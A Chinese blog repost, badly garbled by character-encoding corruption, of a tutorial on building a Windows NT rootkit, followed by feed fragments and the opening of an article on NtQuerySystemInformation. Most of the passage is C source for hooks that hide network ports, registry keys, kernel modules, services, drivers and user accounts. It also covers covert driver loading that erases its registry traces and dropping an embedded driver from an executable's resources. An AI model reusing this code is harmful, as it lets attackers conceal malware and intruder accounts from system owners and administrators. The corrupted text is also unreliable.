HIDDEN_SYSTEM_FILE同样是宏Q另外,文g长度是以Unicodel计的,一个字W占16位,而比较语句是以ANSI比较的,一个字W占8位,所以_strnicmp函数最后的比较大小是FileNameLength / 2Q如果以Unicode比较Q就不必除以2了。在来看看隐藏端口?br>

六、隐藏端?br>

枚D端口使用iphlpapi.dll中的函数Q而它们最l调用的是ZwDeviceIoControlFile函数Q用它发送一个特定的IRP获取端口列表Q所以只要HOOK了ZwDeviceIoControlFile函数Q就可以隐藏端口。函数原型如下:

NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile (
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength);

FileHandle为通信讑֤的句柄,可以使用ZwQueryObject函数获得其具体信息,对于端口讑֤的,它的名字L\Device\Tcp或\Device\UdpQIoControlCode为特定的I/O控制代码Q表C查询的信息。InputBuffer和OutputBuffer分别入输出缓册Ӏ?br>
查询端口的I/O控制代码?个,分别为:0x210012?x120003Q它们所q回的结构、分辨TCP/UDP端口都是不同的,需要分别对待。在我的Windows 2000 SP4下,Netstat使用0x120003Q而Fport却?x210012。对?x120003Q返回的l构如下Q?br>
typedef struct tcpaddrentry //TCP
{
ULONG TcpState; //状?br>ULONG TcpLocalAddr; //本地地址
ULONG TcpLocalPort; //本地端口
ULONG TcpRemoteAddr; //q程地址
ULONG TcpRemotePort; //q程端口
}TCPADDRENTRY,*LPTCPADDRENTRY;

typedef struct udpaddrentry //UDP
{
ULONG UdpLocalAddr; //UDP只有本地地址
ULONG UdpLocalPort; //端口
}UDPADDRENTRY,*LPUDPADDRENTRY;

很熟悉吧Q这正是iphlpapi.dll中的函数q回的结构。对于这2个结构,q可以扩展,则会增加一个进EIDQ不q只适用XP/2003Q结构就不帖了,可以在RootkitMain.h中查扑ֈ。用这个I/O控制代码q行端口查询QFileHandle的名字L\Device\TcpQ所以区别TCP和UDP的方法是查InputBufferQ包括判断是否ؓ扩展l构?br>
对于TCP查询Q输入缓冲的特征是InputBuffer[0]?x00Q如果OutputBuffer中已l有了端口数据,则InputBuffer[17]?x01Q如果是扩展l构Q则InputBuffer[16]?x02。对于UDP查询QInputBuffer[0]׃ؓ0x01了,InputBuffer[16]和InputBuffer[17]的值和TCP查询是一L。我们用这3个值来区分TCP/UDP端口和是否ؓ扩展l构QOutputBufferq回的是完整的端口列表缓冲区Q用IoStatusBlock取得端口的数量,隐藏某个端口Q就向前Ud~冲区。对?x210012Q返回的l构如下Q?br>
typedef struct tdiconnectinfo
{
ULONG State;
ULONG Event;
ULONG TransmittedTsdus;
ULONG ReceivedTsdus;
ULONG TransmissionErrors;
ULONG ReceiveErrors;
LARGE_INTEGER Throughput;
LARGE_INTEGER Delay;
ULONG SendBufferSize;
ULONG ReceiveBufferSize;
BOOLEAN Unreliable;
}TDI_CONNECTION_INFO,*LPTDI_CONNECTION_INFO;

使用q个I/O控制代码q行端口查询QFileHandle的名字是\Device\Tcp或\Device\UdpQ所以分别TCP或UDP不需要输入缓Ԍ而是使用ZwQueryObject函数获取句柄的名字。OutputBufferq回的是单独的缓冲区Q也是_一个端口返回一个,隐藏某个端口Q就返回D|ؓSTATUS_INVALID_ADDRESS卛_?br>
NTSTATUS NewZwDeviceIoControlFile (
IN HANDLE FileHandle,
......)
{
......
//h原函?br>ntStatus=((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile))(FileHandle,……);

if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x210012))
{
//查询句柄名称 以便定是TCPq是UDP
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
//指向端口列表~冲?br>lpTdiConnInfo=(LPTDI_CONNECTION_INFO)OutputBuffer;
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);

//TCP端口
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //隐藏
}

//UDP端口
if (_strnicmp(ObjectNameAnsi.Buffer,UDP_PORT_DEVICE,
strlen(UDP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //隐藏
}
}
}

if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x120003))
{
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (((InBuf=(LPBYTE)InputBuffer)==NULL) || (InputBufferLength<17))
//错误处理

if ((InBuf[0]==0x00) && (InBuf[17]==0x01)) //TCP端口
{
if (InBuf[16]!=0x02) //非扩展结?br>{
//获取端口个数
Num=IoStatusBlock->Information / sizeof (TCPADDRENTRY);
lpTcpAddrEntry=(LPTCPADDRENTRY)OutputBuffer;

for (n=0; n<Num; n++)
{
if (ntohs(lpTcpAddrEntry[n].TcpLocalPort)==
HIDDEN_SYSTEM_PORT)
{

//向前Ud端口列表~冲?br>memcpy((lpTcpAddrEntry+n),(lpTcpAddrEntry+n+1),
((Num-n-1) * sizeof (TCPADDRENTRY)));
Num--; //L--
n--;
break;
}
}

//隐藏后端口L
IoStatusBlock->Information=Num * sizeof (TCPADDRENTRY);
......
}
}
……
}
}
}

return ntStatus;
}

0x120003查询的UDP和处理扩展结构的代码׃帖了Q和处理TCP一P无非是l构不同Q隐藏都是memcpyUd~冲。还有必L查InBuf[17]是否?x01Q否则指向的OutputBuffer是NULL指针了。下面的内容是隐藏注册表?br>

七、隐藏注册表


枚D注册表键和键g用的Native API是ZwEnumerateKey和ZwEnumerateValueKey函数Q它们所做的工作基本一P都是使用索引获取?键|q返回一个缓冲区指针。ZwEnumerateKey函数原型如下QZwEnumerateValueKey函数和它几乎一P׃帖出来了?br>
NTSYSAPI NTSTATUS NTAPI ZwEnumerateKey (
IN HANDLE KeyHandle, //句柄
IN ULONG Index, //h的烦?br>IN KEY_INFORMATION_CLASS KeyInformationClass, //获取的信息类?br>OUT PVOID KeyInformation, //q回的缓冲区指针
IN ULONG Length, //长度
OUT PULONG ResultLength); //实际长度

DDK中公开了若q注册表函数Q所以这2个函数的l构Q枚丄型都已经定义好了Q直接用就可以了。KeyInformationClass一?个|可喜的是我们不必逐个处理Q统一处理可以了Q因为只需要注册表?键值名和其长度Q而返回的q?个结构中都包含这2个结构成员,所以才可以l一处理。这里我们用KEY_BASIC_INFORMATIONl构?br>
typedef struct _KEY_BASIC_INFORMATION {
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
}KEY_BASIC_INFORMATION,*PKEY_BASIC_INFORMATION;

q里我们需要的东西是Name和它的长度NameLength。而对于ZwEnumerateValueKey函数Q我们用KEY_VALUE_BASIC_INFORMATIONl构Q和KEY_BASIC_INFORMATION几乎一P所以请查询DDK Documentation文档Q?br>
枚D注册表键/键|是通过索引获取的,q样的话Q我们隐藏了一个注册表?键|那其后的所有烦引都需要改变。这里就需要有一个标界,理所当然是利用KeyHandle的|不同子键的句柄值是不同的。D个例子,例如隐藏了KeyHandle?下的某一个注册表键,那么其后KeyHandle?下的所有烦引(注册表键Q都需?1Q而不是KeyHandle?的就不需要加了。具体看一下代码,q里仍以ZwEnumerateKey函数Z?br>
NTSTATUS NewZwEnumerateKey (
IN HANDLE KeyHandle,
......)
{
......
static HANDLE RegHandle=NULL;
static LONG RegIndex=0;

if (RegHandle==KeyHandle) //同一句柄
Index+=RegIndex; //加上隐藏的注册表键个?br>else
{
RegIndex=0; //否则重新赋gؓ0
RegHandle=NULL;
}

//h原函?br>ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);

if (NT_SUCCESS(ntStatus))
{
//指向注册表键~冲?br>lpKeyBasic=(KEY_BASIC_INFORMATION *)KeyInformation);
RtlInitUnicodeString(&RegsNameWide,lpKeyBasic->Name);
RtlUnicodeStringToAnsiString(&RegsNameAnsi,&RegsNameWide,TRUE);

if (_strnicmp(HIDDEN_SYSTEM_KEY,RegsNameAnsi.Buffer,
(lpKeyBasic->NameLength / 2))==0)
{
RegHandle=KeyHandle; //取句柄?br>RegIndex++; //隐藏个数
Index++; //索引?

//再次h 跌隐藏的注册表?br>ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);
}
}

……
return ntStatus;
}

使用q种Ҏ隐藏注册表键/键|发现有时不同子键的KeyHandleg是相同的Q这造成了多隐藏数据。解决的办法是HOOK了ZwOpenKey函数Q用ZwOpenKey函数的KeyHandle枚D?键|使用ZwEnumerateKey和ZwEnumerateValueKey函数Q,q记录下需要隐藏的索引Q然后在ZwEnumerateKey或ZwEnumerateValueKey函数中Index参数q行比较Q如果相{,隐藏了Q烦?1卛_Q,q样上面的问题就可以解决了。如果想要做的更隐蔽Q像ZwQueryKey、ZwDeleteKey{函数都需要HOOKQ我q里只是演示E序Q没写这么详l,q些内容ql各位读者自己实践了Q嘿嘿,q叫hQ?br>

八、隐藏内核模?br>

所谓内核模块,是内核加蝲的驱动信息,DDK中的Drivers.exe可以枚D出系l的内核模块列表Q它最l调用的是ZwQuerySystemInformation函数Q信息类?1Q表C取系l的内核模块。如果要隐藏某个内核模块Q就像上边介l隐藏系l句柄一PmemcpyUd~冲区,所以这里介l另一U隐藏方法:从PsLoadedModuleList链上摘除内核模块。PsLoadedModuleList是系l中一个未公开的内核变量(LIST_ENTRY链表Q,保存着pȝ的内核模块。用这U方法隐藏的关键是找到PsLoadedModuleList的地址Q好在前人已l给ZҎQ用驱动E序对象+14h卛_定位PsLoadedModuleList。我们首先需要定义一个结构(q个l构虽然不是完整的,但我可以保证它正常工作)。GetPsLoadedModuleList函数查找PsLoadedModuleList的地址QHideAmlName函数隐藏内核模块Q代码如下:

typedef struct moduleentry
{
LIST_ENTRY ListEntry;
DWORD Unknown[4];
DWORD Base;
DWORD DriverStart;
DWORD Unknown1;
UNICODE_STRING DriverPath;
UNICODE_STRING DriverName;
}MODULE_ENTRY,*LPMODULE_ENTRY;

DWORD GetPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)
{
......
if (DriverObject)
{
//驱动E序对象+14h处是PsLoadedModuleList地址
if ((lpModuleEntry=*((LPMODULE_ENTRY *)
((DWORD)DriverObject+0x14)))==NULL)
{
//错误处理
}
}

return (DWORD)lpModuleEntry; //q回PsLoadedModuleList地址
}

NTSTATUS HideAmlName (TCHAR *HideModule)
{
if (ModuleEntry)
CurrentModuleEntry=ModuleEntry;
else
return STATUS_UNSUCCESSFUL;
//q是双向链表
while ((LPMODULE_ENTRY)CurrentModuleEntry->ListEntry.Flink!=ModuleEntry)
{
if ((CurrentModuleEntry->Unknown1!=0) &&
(CurrentModuleEntry->DriverPath.Length!=0))
{
RtlUnicodeStringToAnsiString(&DriverNameAnsi,
&CurrentModuleEntry->DriverName,TRUE);

if (_strnicmp(HideModule,DriverNameAnsi.Buffer,
strlen(DriverNameAnsi.Buffer))==0)
{
*((DWORD *)CurrentModuleEntry->ListEntry.Blink)=
(DWORD)CurrentModuleEntry->ListEntry.Flink;
CurrentModuleEntry->ListEntry.Flink->Blink=
CurrentModuleEntry->ListEntry.Blink;
break;
}
}
//向下Ud
CurrentModuleEntry=(LPMODULE_ENTRY)
CurrentModuleEntry->ListEntry.Flink;
}

return STATUS_SUCCESS;
}

从PsLoadedModuleList链上摘除内核模块后,ZwQuerySystemInformation函数无法枚丑և它了?br>

九、用hHOOK


用户态的HOOK有很多方法,比如修改函数的前5个字节,修改输入表等Q这里采用eyas大哥的方法COPY DLLQ主要是q种Ҏ效率不错。HOOK新进E采用消息钩子,所以需要编写成DLL?br>
HOOK的步骤首先将需要HOOK的DLL加蝲到当前进E的地址I间中,然后使用PSAPI中的GetModuleInformation函数获取DLL信息Q目的是得到DLL的加载地址?br>
BOOL InitHookDll (TCHAR *Name,LPDLLINFO lpHookDllInfo)
{
//取得摸快句炳
if ((lpHookDllInfo->hModule=LoadLibrary(Name))==NULL)
{
//错误处理
}

//获取摸快信息
if (!GetModuleInformation(GetCurrentProcess(),lpHookDllInfo->hModule,
&lpHookDllInfo->ModuleInfo,sizeof(MODULEINFO)))
{
//错误处理
}

if ((lpHookDllInfo->NewBase=malloc
(lpHookDllInfo->ModuleInfo.SizeOfImage))==NULL)
{
//错误处理
}

//取得摸快地址
memcpy(lpHookDllInfo->NewBase,lpHookDllInfo->ModuleInfo.lpBaseOfDll,
lpHookDllInfo->ModuleInfo.SizeOfImage);
return TRUE;
}

DLLINFO是一个自定义l构Q保存着模块的句柄、地址{。DLL加蝲后,模块信息也有了,下面使用GetProcAddress函数取HOOK函数地址QVirtualQuery函数获取虚拟内存信息QVirtualProtect函数改变面属性,最后修改原函数的地址QGetProcAddress函数的返回|使其指向我们的代码?br>
BOOL HookUserApi (LPDLLINFO lpHookDllInfo,TCHAR *Name,DWORD OldFunc,DWORD *NewFunc)
{
//取得需要HOOK函数的地址
if ((OrigFunc=(DWORD) GetProcAddress (lpHookDllInfo->hModule,Name))==NULL)
{
//错误处理
}

//获取虚拟内存信息
if (!VirtualQuery((LPVOID)OrigFunc,&mbi,
sizeof(MEMORY_BASIC_INFORMATION)))
{
//错误处理
}

//改变面属性ؓ读,写,执行
if (!VirtualProtect(mbi.BaseAddress,mbi.RegionSize,
PAGE_EXECUTE_READWRITE,&Protect))
{
//错误处理
}

//HOOK
JmpCode.mov_eax=(BYTE)0xB8;
JmpCode.address=(LPVOID)OldFunc;
JmpCode.jmp_eax=(WORD)0xE0FF;

//计算原函数地址
*NewFunc=OrigFunc - (DWORD)lpHookDllInfo->ModuleInfo.lpBaseOfDll
+ (DWORD)lpHookDllInfo->NewBase;
//修改原函数地址Q指向OldFunc
memcpy((LPVOID)OrigFunc,(UCHAR *)&JmpCode,sizeof(ASMJUMP));
return TRUE;
}

JmpCode是HOOKl构Q保存着我们的函数的地址和JMP的蟩转地址。有了上面这2个函敎ͼ可以HOOKMDLL中的函数了,例如枚D用户使用的是NetUserEnum函数Q封装在Netapi32.dll中,HOOK例子如下Q?br>
DWORD WINAPI HookMain (LPVOID lpNot)
{
if (!(InitHookDll("netapi32.dll",&Netapi32)))
{
//错误处理
}

if (!(HookUserApi(&Netapi32,"NetUserEnum",(DWORD)HookNetUserEnum,
&NewNetUserEnum)))
{
//错误处理
}

......
}

HookMain函数需要在DllMain中调用,因ؓ消息钩子加蝲DLL后,应该立刻进行API HOOK。Netapi32是DLLINFOl构Q保存着Netapi32.dll的信息;HookNetUserEnum是我们的函数QNewNetUserEnum是原函数地址。现在只差消息钩子函CQ安?卸蝲消息钩子的函数需要引出,消息钩子的类型是WH_GETMESSAGEQ钩子回调函C么都不做Q只是向下传递,因ؓ我们的目的是使新q程加蝲DLL?br>
LRESULT WINAPI Hook (int nCode,WPARAM wParam,LPARAM lParam)
{
//向下传?br>return CallNextHookEx(hHook,nCode,wParam,lParam);
}

extern "C" __declspec(dllexport) BOOL InstallHook()
{
//安装钩子
if ((hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,
hInst,0))==NULL)
{
//错误处理
}
return TRUE;
}

extern "C" __declspec(dllexport) BOOL UninstallHook()
{
//卸蝲钩子
return UnhookWindowsHookEx(hHook);
}

hInst是在DllMain函数中保存的句柄Q这是必ȝQ否则钩子不会安装成功。用h的HOOK有很多种ҎQ用哪个随便你了Q只要能HOOK APIpQ下面介l隐藏服?驱动?br>

十、隐藏服?驱动


枚D服务使用的是Advapi32.dll中的5个函敎ͼq?个函数在每个Windowspȝ中的联系都不一P所以需要HOOK所有函数?br>
EnumServicesStatusA()
EnumServicesStatusW()
EnumServicesStatusExA()
EnumServicesStatusExW()
EnumServiceGroupW()

q?个函CQ前4个是公开的,在MSDN中均有叙qͼ只有最后一个是MS没有公开的,而且只有Unicode版的函数。它的参数和其他4个函数基本一Pq回的结构是LPENUM_SERVICE_STATUSQ这个结构也是EnumServicesStatus函数所q回的?个函C都有一个dwServiceType参数Q表C服务类型,SERVICE_WIN32表示标准Win32服务QSERVICE_DRIVER表示讑֤驱动。lpServicesReturned回服务LQ隐藏的Ҏq是memcpyUd~冲区。我们以EnumServiceGroupW函数ZQ来看一下代码?br>
BOOL WINAPI HookEnumServiceGroupW (SC_HANDLE hSCManager,……)
{
......
__asm
{
//参数入栈Q注意顺序,要遵循__stdcall调用U定
push dwUnknown
push lpResumeHandle
push lpServicesReturned
push pcbBytesNeeded
push cbBufSize
push lpServices
push dwServiceState
push dwServiceType
push hSCManager
mov eax,NewEnumServiceGroupW //原函数地址攑օEAX
call eax //h
mov sRet,eax //q回?br>}

if (sRet)
{
//处理服务和驱?br>if (dwServiceType==SERVICE_WIN32 || dwServiceType==SERVICE_DRIVER)
{
//指向服务列表~冲?br>lpEnumServiceGroupW=(LPENUM_SERVICE_STATUSW)lpServices;
for (DWORD n=0; n<*lpServicesReturned; n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_SERVICE,ServiceNameAnsi,
strlen(ServiceNameAnsi))==0)
{
//向前Ud服务列表~冲?br>memcpy((lpEnumServiceGroupW+n),(lpEnumServiceGroupW+n+1),
((*lpServicesReturned)-n-1) * sizeof (ENUM_SERVICE_STATUSW));
(*lpServicesReturned)--; //L?1
n--;
}
}
}
}

return sRet;
}

上边的代码应该很Ҏ理解了,我们隐藏服务/驱动Q只需要判断服务名Q所以dwServiceType׃块处理了Q不必分开。另外请求原函数要遵循__stdcall调用U定Q参C叛_左顺序入栈,最后将原函数地址攑օEAX中CALL卛_?br>

十一、隐藏用?br>

枚D用户?U方法,其一是用Netapi32.dll中的函数Q另一个就是枚举注册表的SAM键了。隐藏注册表前边已经说过了,q里说一下Netapi32.dll导出?个函敎ͼ

NetUserEnum()
NetGroupGetUsers()
NetQueryDisplayInformation()

W一个函数是枚D用户Q第二个函数是获取组内的用户Q但ҎMSDN的描qͼq个函数只适用于域控制器;W三个函数可以枚丄戗组和计机。NetUserEnum函数支持8U枚丄型,每种cdq回的结构有些不同(其实只是l构成员的名字不同)Q需要分别处理,另外2个函C有多U类型,但只有一U是枚D用户的,HOOKq个cd可以了?个函数的隐藏Ҏ都是memcpyUd~冲区,q里以NetUserEnum函数、枚丄型ؓ0q行介绍Q其?个函数和它是一LQ只是结构体不同?br>
NET_API_STATUS WINAPI HookNetUserEnum (LPCWSTR servername,……)
{
......
__asm
{
push resume_handle
push totalentries
push entriesread
push prefmaxlen
push bufptr
push filter
push level
push servername
mov eax,NewNetUserEnum
call eax
mov nStatus,eax
}

if ((nStatus==NERR_Success) && (bufptr!=NULL))
{
if (level==0) //处理枚Dcd?
{
//注意bufptr?U指?br>LPUSER_INFO_0 lpUserInfo=*((LPUSER_INFO_0 *)bufptr);
if ((nStatus==NERR_Success) || (nStatus==ERROR_MORE_DATA))
{
for (DWORD n=0;n<*entriesread;n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_USER,UserNameAnsi,
strlen(UserNameAnsi))==0)
{
//向前Ud用户列表~冲?br>memcpy((lpUserInfo+n),(lpUserInfo+n+1),
((*entriesread)-n-1) * sizeof (USER_INFO_0));
(*entriesread)--; //L--
n--;
}
}
}
}

......
}

return nStatus;
}

Level表示枚DcdQMSDN中有详细的定义。这3个函数都是Unicode版本Q没有ANSI?br>

十二、驱动的加蝲与整?br>

加蝲驱动一般都是用Servcie APIQ但Servcie API创徏的服务会在注册表留下痕迹Q这不是我们惌的,应该使用一U更好的Ҏ。Native API?个函敎ͼ可以实现驱动的动态加/卸蝲Q不用写注册表,它们是ZwLoadDriver和ZwUnloadDriver函数。用这2个函数加/卸蝲驱动Q也需要写一下注册表Q不q只是配合这2个函敎ͼ待驱动加/卸蝲完成后,可以删除徏立的注册表项Q也是_我们建立的注册表Ҏ多停留几U。需要徏立的注册表项是一些服务的键|比如TypeQ服务类型)QStartQ启动类型)QImagePathQ驱动\径){,完整的代码在DevelopmentSetRegistry函数中,׃帖出来了Q只帖出动态加/卸蝲的函C码。注Q动态加/卸蝲驱动Ӟ已经完成了设|注册表Q动态加/卸蝲驱动后,q要删除注册表项Q切记?br>
BOOL DevelopmentLaodDriver (WCHAR *DriverName,BOOL LoadBelong)
{
......
//加蝲ntdll.dll
if ((hModule=LoadLibrary("ntdll.dll"))==NULL)
{
//错误处理
}

//取得若干函数的地址
ZwLoadDriver=(ZwLoadDriverOld) GetProcAddress (hModule,"ZwLoadDriver");
ZwUnloadDriver=(ZwUnloadDriverOld) GetProcAddress (hModule,"ZwUnloadDriver");
RtlInitUnicodeString=(RtlInitUnicodeStringOld) GetProcAddress
(hModule,"RtlInitUnicodeString");
RtlNtStatusToDosError=(RtlNtStatusToDosErrorOld) GetProcAddress
(hModule,"RtlNtStatusToDosError");

swprintf(RegDriver,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s",
DriverName);
RtlInitUnicodeString(&ModuleNameWide,RegDriver);

if (LoadBelong) //TRUE 加蝲
{
//加蝲驱动
ntStatus=ZwLoadDriver(&ModuleNameWide);
......
}

if (!LoadBelong) //FALSE卸蝲
{
//卸蝲驱动
ntStatus=ZwUnloadDriver(&ModuleNameWide);
......
}

return TRUE;
}

我们需要用一个EXE来操作SYSQ这样带着2个文件满处跑肯定不方便,所以有必要其整合。整合的Ҏ有很多,比如攑֜EXEl尾、将SYS转化?6q制代码Q或者做成资源文件。相比之下,做成资源文g比较单,也不会给EXE增加太多的体U,q行时一释放OK了。释放资源需要一pd资源函数Q最后用fwrite文件写入硬盘。我写了一个ReleaseResource函数Q用于实现这个功能?br>
BOOL ReleaseResource (TCHAR *DriverPath)
{
......
//查找资源 SYS是资源名 SYSRES是资源类?br>if ((hFind=FindResource(NULL,"SYS","SYSRES"))==NULL)
{
//错误处理
}

//加蝲资源
if ((hLoad=LoadResource(NULL,hFind))==NULL)
{
//错误处理
}

//取得资源大小
if ((Size=SizeofResource(NULL,hFind))==0)
{
//错误处理
}

//取得释放地址
if ((LockAddr=LockResource(hLoad))==NULL)
{
//错误处理
}

//打开文g
if ((fp=fopen(DriverPath,"wb"))==NULL)
{
//错误处理
}

//写入
fwrite(LockAddr,1,Size,fp);
......
}

有了q个函数Q就可以只带着EXE满世界跑了?br>文章写了q么长,是时候结束了Q从上面的讲解中不难看出Q我们只要对Windows内核有一点了解,可以开发一个简单的RootkitQ光盘中包含了本文完整的源代码,如对本文有Q何问题,Ƣ迎发邮件给?a href="mailto:dahubaobao@eviloctal.com">dahubaobao@eviloctal.com?br>
十三、附录下?br>
FileInfo(枚D文g目录l构)
包含隐藏服务/驱动、用户以及用hHOOK的DLLE序
包含隐藏q程、文?目录、端口、注册表和内核模块的SYS以及加蝲E序

saga.constantine 2008-06-10 21:55 发表评论
]]>
[转蝲]在NTpd操作pȝ里让自己“消失?/title><link>http://www.shnenglu.com/saga/archive/2008/06/10/52797.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 10 Jun 2008 13:15:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2008/06/10/52797.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/52797.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2008/06/10/52797.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/52797.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/52797.html</trackback:ping><description><![CDATA[     摘要: 转蝲学习原文Qhttp://blog.csdn.net/SpiderF/archive/2005/04/05/336594.aspx 在NTpd操作pȝ里让自己“消失” 1. 内容2. 介绍3. 文g    3.1 NtQueryDirectoryFile    3.2 NtVdmControl4. q程5. ...  <a href='http://www.shnenglu.com/saga/archive/2008/06/10/52797.html'>阅读全文</a><img src ="http://www.shnenglu.com/saga/aggbug/52797.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2008-06-10 21:15 <a href="http://www.shnenglu.com/saga/archive/2008/06/10/52797.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[原创]PE?D工h?/title><link>http://www.shnenglu.com/saga/archive/2008/06/10/52777.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 10 Jun 2008 09:48:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2008/06/10/52777.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/52777.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2008/06/10/52777.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/52777.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/52777.html</trackback:ping><description><![CDATA[      自己写的PE?D工?nbsp;  比较?nbsp; 高手W过<br>      支持文g拖放Qd最上?nbsp; 不支持含有overlap的程序?br>     <br>      E序下蝲Q?nbsp;  <a href="http://www.shnenglu.com/Files/saga/MyZeroAdd.rar">http://www.shnenglu.com/Files/saga/MyZeroAdd.rar</a><br><br>      源码下蝲Q?nbsp;  <a href="http://www.shnenglu.com/Files/saga/MyZeroAdd%20vc6%20code.rar">http://www.shnenglu.com/Files/saga/MyZeroAdd%20vc6%20code.rar</a><a href="http://www.shnenglu.com/Files/saga/MyZeroAdd.rar"></a> <br><br>      如有bugQ请指出Q谢谢?br><br>                                                                                                   ------------------saga.constantine <img src ="http://www.shnenglu.com/saga/aggbug/52777.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2008-06-10 17:48 <a href="http://www.shnenglu.com/saga/archive/2008/06/10/52777.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转蝲]NtQuerySystemInformationhttp://www.shnenglu.com/saga/archive/2008/06/07/52453.htmlsaga.constantinesaga.constantineSat, 07 Jun 2008 08:53:00 GMThttp://www.shnenglu.com/saga/archive/2008/06/07/52453.htmlhttp://www.shnenglu.com/saga/comments/52453.htmlhttp://www.shnenglu.com/saga/archive/2008/06/07/52453.html#Feedback6http://www.shnenglu.com/saga/comments/commentRss/52453.htmlhttp://www.shnenglu.com/saga/services/trackbacks/52453.html
Native API乃Windows用户模式中ؓ上层Win32 API提供接口的本机系l服务。^常我们L调用MS为我们提供的公用的Win32 API函数来实现来实现我们pȝ的功能。今天我们要谈的是如何通过本机pȝ服务(Native APIQ来探测本机pȝ信息。当Ӟ微Y没有为我们提供关于本机系l服务的文档 (Undocumented)Q也是不会为对它的使用提供M的保证,所以我们不提倡用Native API来开发Y件。不q在Ҏ情况下,本机pȝ服务却ؓ我们提供了通向“U密”的捷径。本文提到的信息仅在Windows2000/XP/2003上测?q?br>
今天Q我们主要讨论的是一个函数NtQuerySystemInformation(ZwQuerySystemInformation)。当Ӟ你不要小看这么一个函敎ͼ它却为我们提供了丰富的系l信息,同时q包括对某些信息的控制和讄。以下是q个函数的原型:

typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)
(IN   SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID          SystemInformation,
IN   ULONG          SystemInformationLength,
OUT   PULONG         ReturnLength OPTIONAL)Q?br>NTQUERYSYSTEMINFORMATION NtQuerySystemInformationQ?br>
NtQuerySystemInformationq个函数有四个参敎ͼ
      W一个参数是dwRecordTypeQ这个参数指定了我们所查询的系l信息类型,Z查询pȝHANDLE列表Q我们定义一个常?define NT_HANDLE_LIST 16Q这个数值我是查资料得到的,如果谁有更详l的资料Q也误我共享一下)?/div>

      W二个参数是一个指针,q个指针用来q回pȝ句柄列表Q在调用NtQuerySystemInformation函数之前Q必Mؓq个指针分配_的内存空_否则函数调用会出错?/div>

      W三个参数是指定你ؓHandleList所分配的内存空间大,单位是byte?/div>

      W四个参数是NtQuerySystemInformationq回的HandleList的大;如果NtQuerySystemInformation函数调用成功Q返回值将?Q否则可以用GetLastError()获得详细的错误代码?nbsp; 


从中可以看到QSystemInformationClass是一个类型信息,它大概提供了50余种信息Q也是我们可以通过q个函数对大U?0多种 的系l信息进行探或讄。SystemInformation是一个LPVOID型的指针Q它为我们提供需要获得的信息Q或是我们需要设|的pȝ信息?SystemInformationLength是SystemInformation的长度,它根据探的信息cd来决定。至?ReturnLength则是pȝq回的需要的长度Q通常可以讄为空指针(NULL)?br>
首先Q我们来看看大家比较熟悉的系l进E?U程相关的信息。这个题目在|上已经讨论了N多年了,所以我׃在老生常谈了,呵呵。那么就提出q个l构cd的定义:

typedef struct _SYSTEM_PROCESSES
{
ULONG     NextEntryDeltaQ     //构成l构序列的偏U量Q?br>ULONG     ThreadCountQ       //U程数目Q?br>ULONG     Reserved1[6]Q    
